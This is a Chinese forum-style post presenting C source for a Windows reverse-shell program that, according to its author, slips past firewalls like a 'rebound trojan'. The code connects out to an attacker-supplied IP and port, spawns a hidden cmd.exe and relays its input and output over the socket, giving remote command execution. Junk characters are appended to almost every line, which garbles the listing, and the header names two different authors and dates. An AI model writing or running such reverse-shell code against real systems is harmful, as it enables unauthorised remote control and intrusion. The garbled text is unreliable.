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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AC RuDY  
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/* ============================== #Y7jNrxE  
Rebound port in Windows NT '1mk;%  
By wind,2006/7 O= S[ n  
===============================*/ VLXA6+  
#include MK1\  
#include k]m ~DVS  
P$E iD+5#z  
#pragma comment(lib,"wsock32.lib") jVff@)_S  
lV\iYX2#  
void OutputShell(); 1K Vit{  
SOCKET sClient; yqN`R\d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2Q6;SF"Z  
L}h_\1  
void main(int argc,char **argv) LG[N\%<!H  
{ .S//T/3O]Q  
WSADATA stWsaData; [)"\Aq  
int nRet; }0'LKwIR  
SOCKADDR_IN stSaiClient,stSaiServer; E'x"EN  
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if(argc != 3) #,#`< h!  
{ w6BBu0,KC  
printf("Useage:\n\rRebound DestIP DestPort\n"); D{(}&8a9  
return; E;Z(v  
} ^KhJBM/Z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); wgFX')l:  
SkjG}  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2uj .*  
j_<qnBeQ  
stSaiClient.sin_family = AF_INET; DTO_IP  
stSaiClient.sin_port = htons(0); Ohm{m^VD"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); | 6{JINW  
{H)7K.hQN  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +[76_EXy  
{ ]IV{;{E)  
printf("Bind Socket Failed!\n"); 1jKpLTSs  
return; !v8R(  
} $Cz2b/O  
s#^0[ Rt  
stSaiServer.sin_family = AF_INET; tVG;A&\,6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i-|N6J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7 yE\,  
[* <x)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S~/2Bw!2  
{ :E9pdx+  
printf("Connect Error!"); /EjXyrn2  
return; coXg]bUKo  
} gX" -3w  
OutputShell(); \c2x udU  
} cZVx4y%kz  
O#D{:H_dD>  
void OutputShell() aM~IRLmK  
{ cKTjQJ#  
char szBuff[1024]; Ta\F~$M  
SECURITY_ATTRIBUTES stSecurityAttributes; u8c@q'_  
OSVERSIONINFO stOsversionInfo; Sr \y1nt  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;"M6}5dQ4  
STARTUPINFO stStartupInfo; ~vXbh(MX  
char *szShell; k A3K   
PROCESS_INFORMATION stProcessInformation; t oGiG|L  
unsigned long lBytesRead; w[X-Q+7p(t  
}u;K<<h:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x,C8):\t`B  
LK}g<!o(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f2e;N[D  
stSecurityAttributes.lpSecurityDescriptor = 0; r^5%0_F]  
stSecurityAttributes.bInheritHandle = TRUE; 8i',~[  
p8'$@:M\  
qur2t8gnxq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -riX=K>$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f#z:ILG=  
Ch]d\GM  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D>|`+=1'0"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )Fx]LeI;  
stStartupInfo.wShowWindow = SW_HIDE; ."wF86jW|  
stStartupInfo.hStdInput = hReadPipe; !h #ZbErW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %SC Jmn2  
tK;xW  
GetVersionEx(&stOsversionInfo); SZH`-xb!+5  
/Bt!xSI  
switch(stOsversionInfo.dwPlatformId)  26p[x'W  
{ !7DDPJ~  
case 1: LK DfV  
szShell = "command.com";  .2&L.  
break; p3vf7eqn  
default: 1 ^|#QMT  
szShell = "cmd.exe"; *v%y;^{k[/  
break;  x+cL(R  
} uH*6@aYPo  
j""ZFh04  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ 64up!  
*QQeK# $s  
send(sClient,szMsg,77,0); /0}Z>i K  
while(1) x=cucZ  
{ 6J>AU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z[Tou  
if(lBytesRead) u\Cf@}5(  
{ M{ncWq*_j  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^=eC1 bQA  
send(sClient,szBuff,lBytesRead,0); u)<]Pb})r  
} D% jGK  
else m[eqTh4*  
{ -6+7&.A+  
lBytesRead=recv(sClient,szBuff,1024,0); x`g,>>&C  
if(lBytesRead<=0) break; (tYZq86`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z3JUYEAS  
} JuSS(dJw  
} v#x`c_  
<8}FsRr;J  
return; eN<L)a:J_  
}
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